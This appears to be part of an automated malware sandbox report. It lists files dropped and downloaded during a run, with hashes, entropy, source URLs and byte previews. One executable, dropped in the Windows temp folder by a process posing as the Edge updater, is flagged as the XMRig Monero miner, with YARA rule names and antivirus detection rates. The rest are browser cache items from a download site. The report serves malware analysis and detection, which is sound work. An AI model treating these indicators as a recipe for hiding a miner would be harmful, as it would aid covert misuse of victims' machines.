SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\jkiahanfoyhg.tmp

Download File

Process:	C:\Program Files\Microsoft\Edge\updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5536256
Entropy (8bit):	6.689058470432344
Encrypted:	false
SSDEEP:	98304:VJuCqT8q5Jt3eM2UIDLeIY3I7LMHrPZF6OhgIDxDjP5ysRAwRCVYFufw6:zulp5JtBF6Oh3DxxysRFkRw6
MD5:	8FA2F1BA9B9A7EA2B3C4DD627C627CEC
SHA1:	358E3800286E5D4C5662366AD7311BC5A51BA497
SHA-256:	78A452A6E1A3951DC367F57ACE90711202C824B68835C5DB86814F5B41486947
SHA-512:	74EDD438B806E086A3FACBE8FB98E235068C0D3F8572C6A3A937649CA0E9A6BCB9F0B42E5562E1CBE3576B011AB83730FC622B1496CC448DD3C296284671E775
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\jkiahanfoyhg.tmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: C:\Windows\Temp\jkiahanfoyhg.tmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\Windows\Temp\jkiahanfoyhg.tmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\Windows\Temp\jkiahanfoyhg.tmp, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 75%, Browse
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$................................................................i..............C..Q....i.....i.....i........}....i.....Rich...........PE..d.....(d..........".......9...D.......6........@..............................~...........`.................................................\|.P......P~.......{..............`~......AM......................BM.(... AM.8.............9..............................text...^.9.......9................. ..`.rdata........9.......9.............@..@.data.....+...P.......P.............@....pdata........{.......Q.............@..@_RANDOMXV.....}.......S.............@..`_TEXT_CN.&....}..(....S.............@..`_TEXT_CN..... ~.......S.............@..`_RDATA.......@~.......S.............@..@.rsrc........P~.......S.............@..@.reloc.......`~.......S.............@..B........................................

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (510)
Category:	downloaded
Size (bytes):	1110
Entropy (8bit):	5.469390365096513
Encrypted:	false
SSDEEP:	24:KhXtw6A5bqY19Ez1y2AvPmwVRWw7W6Nr3Sxx4hExdGJRrYz+P:Y05/921y2gmwVwwLJ3Sxx4hExsJRrXP
MD5:	1F431DC94C1F033D6666F0FE637E2D7B
SHA1:	18EE472909D5856FE9684765258C50731EFBBDBE
SHA-256:	1CC6DE1A4F6A561A6AA75D08BAE33388B2E8905D01753AA41E4886A466D7C28C
SHA-512:	5A2D0FB9A5C10B787D0802919D4A55907863949D9FB0211F3324A41F0EFC2BC75EC79F38B666880BB5F0B23A73F3B5AF8E4001FF8116EFF6AA5C2C749E83B41B
Malicious:	false
Reputation:	unknown
URL:	https://rules.quantcount.com/rules-p-6Fv0cGNfc_bw8.js
Preview:	/. Quantcast measurement tag. Copyright (c) 2008-2022, Quantcast Corp../.'use strict';(function(m,n,p){var l=function(d){return d.replace(/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,"")};__qc.apply(null,["rules",[m,null,[[function(d,c){var f=[],a;if("array"==={}.toString.call(c).match(/\s([a-zA-Z]+)/)[1].toLowerCase()){for(a=0;a<c.length;a++)f.push(d+"."+c[a]);return{labels:f.join(",")}}return{labels:d+"."+c}},"Mots Cl\u00e9s"]],[[function(d,c,f){c=document.getElementsByTagName("meta");for(var a,g,e=[],k=0;k<c.length;k++)if(a=c[k],g=a.getAttribute("name")\|\|a.getAttribute("property"),.g==f){g=e;e=g.concat;var b=f;if(a=a.getAttribute("content")){var h=b;h=-1!==h.toLowerCase().indexOf("tag")\|\|-1!==h.toLowerCase().indexOf("keyword")\|\|0===h.toLowerCase().indexOf("qc:");-1===b.toLowerCase().indexOf("tag")&&-1===b.toLowerCase().indexOf("keyword")&&0===b.toLowerCase().indexOf("qc:")\|\|(a=a.replace(/\.+/g," "));if(h)for(b=a.split(","),a=0;a<b.length;a++)b[a]=l(b[a]);else b=l(a.replace(/,+/g," "))}els

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 201 x 45, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6078
Entropy (8bit):	7.930380272941984
Encrypted:	false
SSDEEP:	96:Kqx6fA7qB24Njk9xyPcVtIOLp9+548XfnFRPXdp3vIo4C1Qdnwg0YeTKBvVq8y6u:Kqq64N40eO1TdRPtp3wNdV0hTEtq8y6u
MD5:	946ED1D2BD247854FA58E938DE28EE95
SHA1:	883CDA7EE0087E29A32F07B6C8EAD3E8DF5DB738
SHA-256:	BFE6C8B9CF34578F573091BB118F86A10B918B7D530B25107648F12158759E85
SHA-512:	DB323A854FBBDBC7A3418EAF3A9F8169373753801402C126BA3004F02CCE7C5B9BEF81FBE8856F30BFC738825E47E9D886A84935EDCE8FFEF3E72FB949843785
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/slice_white.png
Preview:	.PNG........IHDR.......-.......O.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...........~...."IDATx..y.....zz.f.a...dU....q..PL$.1..[Pc.}...%q.{y./...L4&...IT4.<.AE....E.e...fc..........i.'.0..?..{o..T.:.%. 6.........S.....o._..yNH.T.......(...7;.f@NxE......n.z.YA..m..'...2....ir.;. ..2..."8.8.Lb.{.6.../:.(}a.....M... .Rb.OkZF,....U;...Q.q.Q..1..x.......!.`.D:..Q.....s.f...nb...A........u?.....4.. ..F..$..Q...v.. .Z..s..r.B!8.$c..#2.'"..D.A.b.).\|R.z.j...m.........c.(.a...4.G@..<1.V..._.u}2.....A.<$e.....oT?..&.)<I..Y ;..3.0..Q9..}sB.r3B..h."..6-)o.......IC.9-.Z.]NH.O....U.......g..8=..$a...7\|....O!.F.Q.N....Y.......K3.......6.._U.2.....I.I..Q....5#.......A......K.Z..#.Vm..H.!%./_6,.G'.d.....T.z.K..w}..~>V-.Gq..+.....a...H=8...$;k.......m.S.q..9.O..;.`......,..<g..g.....iP....i...P=8\|..$....w..v.S.j..v.o;...Gd.\|...a]...nix..2C.....[.2.M7.........'.`.[.w.E........vh....C. .C.._.aHni....

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 890, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	74560
Entropy (8bit):	7.802767503415719
Encrypted:	false
SSDEEP:	1536:JDQHZpFK0csucx8NgPZzb8BinbR5IGJEEYfyGQFdX45IaWTf:JDGZMDcNPR93msFJN7f
MD5:	CE2F90B81EE3A43F46C29223AD1D981B
SHA1:	B82B68C892BD7C8B0BF06A883F1BDCD8CA0121E5
SHA-256:	7B5C7BC066EB345C6C48189F960AD13FAC80ADD5B5769E2D7A1F59D82A382505
SHA-512:	85333D169F9815E608ECA91D3BA07B18AD6D121806CAEC0474FD73BCDF22CD0EC032058AE029FD8AC650667DF7A382C1FE186EC15F2E13B224A253E7D7C3C674
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/img/bg/footer-bg.png
Preview:	.PNG........IHDR.......z.............tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d24d0c60-723f-2345-942b-db2b0163c968" xmpMM:DocumentID="xmp.did:A23D7D97E1D911E8942BA7F01240A034" xmpMM:InstanceID="xmp.iid:A23D7D96E1D911E8942BA7F01240A034" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0fc79567-2ab2-1247-98b2-4ca18afdf3ca" stRef:documentID="adobe:docid:photoshop:c95dba4e-10c2-4f44-9edd-c0f063e16a4e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>]._....RIDATx...]z.8.(

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14454)
Category:	downloaded
Size (bytes):	53284
Entropy (8bit):	5.224394758317551
Encrypted:	false
SSDEEP:	768:hRH8f65WpmXjIShItCNp8Orib8JlxPw1FLe7N6RC9l1K1RJC18fWw2D:hh8f65WMXjNNiIJlxPw1FS75l1uJC18W
MD5:	526B65035FF31BD7147BE9E785A768AC
SHA1:	2FC6A091DA52A528EB67D73C77F3FD4EE6351CB7
SHA-256:	8996A1606A4793B1A05580FF47567F4467C2D16BBE7CBCB049DC849E0105DA86
SHA-512:	EF634C822D276411E7C85A394A2FDE9798CC0EC62C02DB364889A60DAFA5CCB2CB3F2BF70CB513EED9AA07FE36B82B3C0BCF29D630107720F5266A1E0EC6BB2D
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/css/cloud.css
Preview:	.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-ms-flexbox;display:flex;transition-property:transform;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{transform:translateZ(0)}.swiper-container-multirow>.swiper-wrapper{-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;transition-property:transform}.swiper-slide-invisible-blank{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-ms-flex-align:start;align-items:flex-start;transitio

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 124 x 49, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.823522728741164
Encrypted:	false
SSDEEP:	48:W/6vktgFDyNqBERLBgY/Zu67F3n+Wy7J5tlLoOsDFJNd5PEYFbqwgI8c:WSvktgFDIqOJBPJIJ5nLoDD3NddEYIK9
MD5:	B08166A270B58C28D429BF2F9FFECE6C
SHA1:	91DAB55CBE8C802A7C56CD9D2FFAEE9CCEA4A49F
SHA-256:	A21A9FA89FB6DD8C8E84907A99B0374ABDF641C71C55E0283B7758E8F2A12507
SHA-512:	A2D7888492DD0F476A33AAB86B1D372AA9BFD204567B1AF124A1C086C8911F711E1DED079A9B7041CA02FA5622AFC2A31CD75F83F6DD2684F95A90381B868F58
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...\|...1.............sRGB...,.....pHYs.................IDATx...lOW..Q.3...c.y[....m1a6.=4..f..R....6l...5o..t.R.....-...o.R........9=......?..M>9.........m.H..x....M..w..$..3...7.c$l........B7o.A..af..an)...MNN^..... .n..e3.o...iIJMM....0.....Fqqqv=F...^.......b.V.kvAA.c.\G.....}.........cvRR.q.......I.....z..O....\|X.w.c....}.vC.v(..}..=.#...L..0[(..}...^........y..2.:..7.^...`..ZX........c+a.......]I...X....>\gM..3.?.......K.A.I.h.C...g..q..../L.BUV.I......p.I.a.PP..J0...h..4.....y...'8.R.q..G..S...#)..gR.....U.q.l..7..S....N....n.).].....z{../..!..2.Z"....y....-.\...C.......E..V..#k.....>'O...l6G.0@.C.....`..y....+3.-...<...]....g......X....{.5\.(..=.......'N.H`.}.45^.C..)..."..G....Y6^./...u......%.1#.*........O..oU... n`...Z....e<.=.i.....2....kr...e3..n......_.^.t^,.H..h..8\.t...6.........?.E......WTT.5.../...\|..#G..UL.....;.....i..W.B.w...Q.=..Ezz.ba...U....jv5...?N.....).........w...:u.<y..w.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 21288, version 1.0
Category:	downloaded
Size (bytes):	21288
Entropy (8bit):	7.989539400592669
Encrypted:	false
SSDEEP:	384:Gt1ub3/aScGC+rduQkoEx2lBn1sRNi7RPyRh/YqlDaFfAIU0zgZjs6FBaX+PZ:GtO34QixCx1wNi9PyT/YqZaF36js6La6
MD5:	E648B4F809FA852297CF344248779163
SHA1:	EA6B174E3BCA31D6D29B84FFBCBCC3749E47892E
SHA-256:	637F545351FBED7E7207FDF36E1381B0860F12FFFDE46A6FA43BDAFCC7A05758
SHA-512:	A2240D4A902C8245E3FFEBD0509E25DD5005D0E6F075F5C78A46095B9A52D86ED483583A2A8B39F1AD4E610D2F7EC63E4EF8EAB89936D30DA937690936EF4F12
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2
Preview:	wOF2......S(.......H..R...........................h..R..\|?HVAR.7.`?STAT.8'2..0/~....0."..^.0..^.6.$..8. ..x..c............{..g....6.08.-G"....".`......P.<.F..?............L.n.:..:...%.6.V.....ub..F.-ZmD.h.'...h...Ve./..$......R.p...O6...Fr.C..A......P.......45z.n...s...\t.B.i..o1......U......sD.3.m.Or....]\|..W...3.v..3.a.B..3.21.....m..9.......nT./.d...?3.......>.......2.+blm..\....X....s......[....w.u.F...t.........2~tl...+...Z$E..;. x....N4....c..Q....c`.x.......g..0.,.,.....h2.$ .64`.?.~.M..-.!....$..J......k7..;)....?.v..i..tQ.8..+qe..<......).b...U.....?.......S...,L.-SY.,..Pt.. G...5......QD.%h..m.R$S.%,.....r/....3.Df.#..t.-E........rE....N.5=..ST.......'...?il.L.l.,=8.r#.+..Q..Og....d.x..N..DGPt.j.4.<.d..V........{..#..!...=...PTI...JU..S..e.?Z.....I..4b..fg.l.q....P.R)..7.l?.xP.y..s;.....Nk..C.<.O`!-.................p$D....b\|...O\.....Z..t.r.<....]..3\|_W..<.aAi\.s:.......pB!.T..........$.q[f..v....Vx/...%.O.0.B8".#Z/!..R3K.....

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	54
Entropy (8bit):	4.25913009599371
Encrypted:	false
SSDEEP:	3:hJAyTQmHJQGRsdIjhn:hJhQmHWajhn
MD5:	DF1A93A3B2D0D40C09E0884EAA490D2B
SHA1:	548A82AB7A2AE71F143313EFF940E5DCC0FB0E96
SHA-256:	71682F2F8435158A850BD9FEC5BDBA5DF7C1E8A9DF11861101F38D0CB0BA1B4C
SHA-512:	2892978292C697C008EFBEF0ACCBA68119DC64F5990D40E3CC9B3D86D0CBF492506BB4DFD95D9DBE9680F6CC569967D8171005D2C8AC718E301139FE815A43C4
Malicious:	false
Reputation:	unknown
URL:	https://s.cpx.to/fire.js?dsp=app_nexus&dsp_uid=2348066295523201724&pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
Preview:	rubicon,id5,dbm,OPENX,pubmatic,firstId,pub_common,uid2

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 890, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	74560
Entropy (8bit):	7.802767503415719
Encrypted:	false
SSDEEP:	1536:JDQHZpFK0csucx8NgPZzb8BinbR5IGJEEYfyGQFdX45IaWTf:JDGZMDcNPR93msFJN7f
MD5:	CE2F90B81EE3A43F46C29223AD1D981B
SHA1:	B82B68C892BD7C8B0BF06A883F1BDCD8CA0121E5
SHA-256:	7B5C7BC066EB345C6C48189F960AD13FAC80ADD5B5769E2D7A1F59D82A382505
SHA-512:	85333D169F9815E608ECA91D3BA07B18AD6D121806CAEC0474FD73BCDF22CD0EC032058AE029FD8AC650667DF7A382C1FE186EC15F2E13B224A253E7D7C3C674
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/img/bg/footer-bg.png
Preview:	.PNG........IHDR.......z.............tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d24d0c60-723f-2345-942b-db2b0163c968" xmpMM:DocumentID="xmp.did:A23D7D97E1D911E8942BA7F01240A034" xmpMM:InstanceID="xmp.iid:A23D7D96E1D911E8942BA7F01240A034" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0fc79567-2ab2-1247-98b2-4ca18afdf3ca" stRef:documentID="adobe:docid:photoshop:c95dba4e-10c2-4f44-9edd-c0f063e16a4e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>]._....RIDATx...]z.8.(

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38128)
Category:	downloaded
Size (bytes):	143368
Entropy (8bit):	4.469712517452611
Encrypted:	false
SSDEEP:	3072:0gg4d3uTeQeuTeg69uTeCnuTeF+uTecqIuTeBjuTecH5tAlfkFeHa/Eb:0gg4dtH5tAlf8eHa8b
MD5:	B29748E4B583A26C227C2E0BB4D4CF09
SHA1:	77237D225987957EFC6B42929336E313E87F2E1D
SHA-256:	18F552E66E728E2E094A2E8E0993D3CBC6EFA454944BBF7EE8C87C05FE7E3045
SHA-512:	1B9512223B1974AAA5317981BEEBA699452E978B53B0EA7E25D8FCB564ABC918EA6AD42F29986E487FC1C96A17F71C2886097F586A4DECA3B63016DAEC5DACBC
Malicious:	false
Reputation:	unknown
URL:	https://ads.themoneytizer.com/s/requestform.js?siteId=85433&formatId=28
Preview:	function tmzrScriptErrorHandler(url) {. var fallbackScript = document.createElement('script');. fallbackScript.src = url;.. document.head.appendChild(fallbackScript);.}..var tmzrCountExec = function(siteId, formatId, status){. if(Math.floor(Math.random() * 10)!==0){. return;. }.. let u = "https://metrics.biddertmz.com/metric?s="+siteId+"&f="+formatId+"&fi="+status;. fetch(u);.}.. tmzrCountExec(85433, 28, 99);....if (typeof(Array.prototype.multisplice) !== 'undefined') {. delete Array.prototype.multisplice;.}.if (typeof(Array.prototype.addWithoutDupliacte) !== 'undefined') {. delete Array.prototype.addWithoutDupliacte;.}.if (typeof(Array.prototype.removeElement) !== 'undefined') {. delete Array.prototype.removeElement;.}..if (typeof window.whatToLoad != 'function') {. window.whatToLoad = function(adId, args) {. switch (adId) {. case 38:. var lib_corner_video = document.createElement('script');. li

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1994
Entropy (8bit):	7.856025352710045
Encrypted:	false
SSDEEP:	48:OnLIp0gmcb9OCZ9btPHcU4ne+kd9Lnx+bQ1gLmWrHubo4QXLM3I83:OnLI6gUyVGeXvncbdv6o4dv
MD5:	05807C4ACEABFB49AB9D66E54618FF53
SHA1:	FDDB5A3EB50D1A255989F72F91911DC21E2D5D9B
SHA-256:	725D652F8C9AD3D148A0528878B51E2E250D228AB6EAF39111D0664ABAD359B3
SHA-512:	E7E298DF18C4B3B685169F41918116110CF04566721B169CB501CF3C320B978526B5938BFE4FC3F1513BFE54A25AFA509E03B8FB8B23416D00CA7D8AAF67DCFE
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/img/favicon/favicon.ico
Preview:	.PNG........IHDR... ... .....szz.....IDATX..o..V}.?.s~...\.....".HK.(..4.J..uv..e...K6.....[LL..t.!k.u.b.5..-.n..N..,-.`..x....R..^....m...e...9/..<.s..\|...7. .A....Mi.3.5....t.y!..i.I.@...<.9.\..n..bx......:2......t.LgE.......l.F.[iN.3...h<.....i$.W....n..3.17...z...=..Y..MuM...{.i.{.....=.G..i\.\5.........".w..t.Hw,...L:Si.K...O..P.GgKr...t.V..L...x.........9xu..&."....&.9../Yy6.ud..............`.....Q......y./..n...s^W`.?.....w...i..H:3i.Kgo._H..i.E.NnY.SR.~."..d,..il.qo....i..\|...05.r.P.g.....l.G4..A........:v..<...S.\|..)...<p..a+..#......g....O.\..4.(.tg.x&.O.....K.U......".W"...t;.s..@v....N.Hq.a..X....L..8..\..lq.....a'a."..$..6....Zl...B.y..V.5..L...k......C....1.^....VB6.K..o...C... ..O....].....m..2..+....w.l .1.'d....4o...T...}.#....4Q..T.....:E..:of...g...5..[...b..y.XLX\|...[.<.E7Y.l.l.~....g.p..M...X.#l.P..F.@..G.n.^........OC..&....%G.G.K....4....JQ..2A....\|..>._.x..K.9.?w..;s..b..8E.....BL#...8c......5ha.Q.Os@X...p....

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.856025352710045
Encrypted:	false
SSDEEP:	48:OnLIp0gmcb9OCZ9btPHcU4ne+kd9Lnx+bQ1gLmWrHubo4QXLM3I83:OnLI6gUyVGeXvncbdv6o4dv
MD5:	05807C4ACEABFB49AB9D66E54618FF53
SHA1:	FDDB5A3EB50D1A255989F72F91911DC21E2D5D9B
SHA-256:	725D652F8C9AD3D148A0528878B51E2E250D228AB6EAF39111D0664ABAD359B3
SHA-512:	E7E298DF18C4B3B685169F41918116110CF04566721B169CB501CF3C320B978526B5938BFE4FC3F1513BFE54A25AFA509E03B8FB8B23416D00CA7D8AAF67DCFE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX..o..V}.?.s~...\.....".HK.(..4.J..uv..e...K6.....[LL..t.!k.u.b.5..-.n..N..,-.`..x....R..^....m...e...9/..<.s..\|...7. .A....Mi.3.5....t.y!..i.I.@...<.9.\..n..bx......:2......t.LgE.......l.F.[iN.3...h<.....i$.W....n..3.17...z...=..Y..MuM...{.i.{.....=.G..i\.\5.........".w..t.Hw,...L:Si.K...O..P.GgKr...t.V..L...x.........9xu..&."....&.9../Yy6.ud..............`.....Q......y./..n...s^W`.?.....w...i..H:3i.Kgo._H..i.E.NnY.SR.~."..d,..il.qo....i..\|...05.r.P.g.....l.G4..A........:v..<...S.\|..)...<p..a+..#......g....O.\..4.(.tg.x&.O.....K.U......".W"...t;.s..@v....N.Hq.a..X....L..8..\..lq.....a'a."..$..6....Zl...B.y..V.5..L...k......C....1.^....VB6.K..o...C... ..O....].....m..2..+....w.l .1.'d....4o...T...}.#....4Q..T.....:E..:of...g...5..[...b..y.XLX\|...[.<.E7Y.l.l.~....g.p..M...X.#l.P..F.@..G.n.^........OC..&....%G.G.K....4....JQ..2A....\|..>._.x..K.9.?w..;s..b..8E.....BL#...8c......5ha.Q.Os@X...p....

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.383063383509938
Encrypted:	false
SSDEEP:	3:hJAyTQAV6LASOqRHJQGRsdIjhn:hJhQzdOqRHWajhn
MD5:	70F167A30F2984C73424B2DFA4F4595B
SHA1:	E9A42D7C3718133E48939764A8384FCBE8D4C806
SHA-256:	96B4878DF8E1604830E9201E0DE0BBDCF234C21B22E81C85F935EC1F7AEEEE8C
SHA-512:	1BF00A76B086A5E61D4C00F22E3B0B9AD4DA0EA87DA40181E742ADF3C87B030AA14A477076EDD6A89C9F98D3CDB2EC98BADBDED6A07E141EA541C73A67AC6D08
Malicious:	false
Reputation:	unknown
Preview:	rubicon,id5,dbm,OPENX,app_nexus,pubmatic,firstId,pub_common,uid2

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.9483943455364026
Encrypted:	false
SSDEEP:	3:YH/XHfETmn:YPsS
MD5:	1C686A255150DDECFC5D91AF4B128B0B
SHA1:	A6767D4B4846B16A8A4BA9C2568E2AFFFC286992
SHA-256:	B04CD869CFD41A48C006458F71969A0EB26F33FEC12F3CFE00408F8B73BF3FF8
SHA-512:	4E0D278BC159F289FBE3BBE04D874A7120BEAF4E45F05B03A566D513C4CCC2905A4ADE05D3DD92B169F595D3DC5D03AEE982B0713970C21F9B5A65DC0B17AD6D
Malicious:	false
Reputation:	unknown
Preview:	{"bounce":{"setCookie":false}}

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2277)
Category:	downloaded
Size (bytes):	2312
Entropy (8bit):	5.296919143371954
Encrypted:	false
SSDEEP:	48:hYyZSHvciyQHEmENRVcUzb7H6om3JXo7lerFUbY0kTy8:hFZ3QkmwJ36lO7iul8
MD5:	89B1396632234EE336BF4CBCB7CEC200
SHA1:	A15FA06C1276F6F5A83E4653CD0A6DBECC5DC18A
SHA-256:	E61EF2AB7C9DA28AA74EF73B341C0502F7AE8EE2951D28A71004E30B7F90B836
SHA-512:	96ADF0EC5AD8112D015AC0B809E249F5625BB0B96434EFF14DE0A4103A15A19ABB3D8C7E9D23A585D26A179DBE8DBB7AA6E51C15550A857A350D1C2480152364
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/js/jquery.cookie.min.js
Preview:	/! jquery.cookie v1.4.1 \| MIT /.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:decodeURIComponent(a)}function d(a){return b(h.json?JSON.stringify(a):String(a))}function e(a){0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return a=decodeURIComponent(a.replace(g," ")),h.json?JSON.parse(a):a}catch(b){}}function f(b,c){var d=h.raw?b:e(b);return a.isFunction(c)?c(d):d}var g=/\+/g,h=a.cookie=function(e,g,i){if(void 0!==g&&!a.isFunction(g)){if(i=a.extend({},h.defaults,i),"number"==typeof i.expires){var j=i.expires,k=i.expires=new Date;k.setTime(+k+864e5*j)}return document.cookie=[b(e),"=",d(g),i.expires?"; expires="+i.expires.toUTCString():"",i.path?"; path="+i.path:"",i.domain?"; domain="+i.domain:"",i.secure?"; secure":""].join("")}for(var l=e?void 0:{},m=document.cookie?document.c

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43112, version 1.0
Category:	downloaded
Size (bytes):	43112
Entropy (8bit):	7.995070865973467
Encrypted:	true
SSDEEP:	768:cye9D3bdHzXqzLQX7Vhojm6VdMBEYGPrsboIxKvrfjllXx1LRFomaV0M:cRjbdHez8XZ6jJVdMCYGPruoIcvrjrhI
MD5:	F8883AB9C4A452A0BFE3C5CF9619DB86
SHA1:	29104A6E1EFDD389F07F0F3E1730DE95746967DA
SHA-256:	427F528F5D190E0E3275D8A1FC40BAD36FEDE3DA064B33F29DC8FE6E614FF2F7
SHA-512:	F6C2211DD8BC6824FF179EB48E2D1056C5AEB2ED064A13121A69EDC8CD256A8C5F4ADD0E91B28CC72D1DB2CEC73D64CADB552BF76AC58A4F765B64555E8A4598
Malicious:	false
Reputation:	unknown
URL:	https://yastatic.net/islands/_/KRBKbh7904nwfw8-FzDelXRpZ9o.woff2
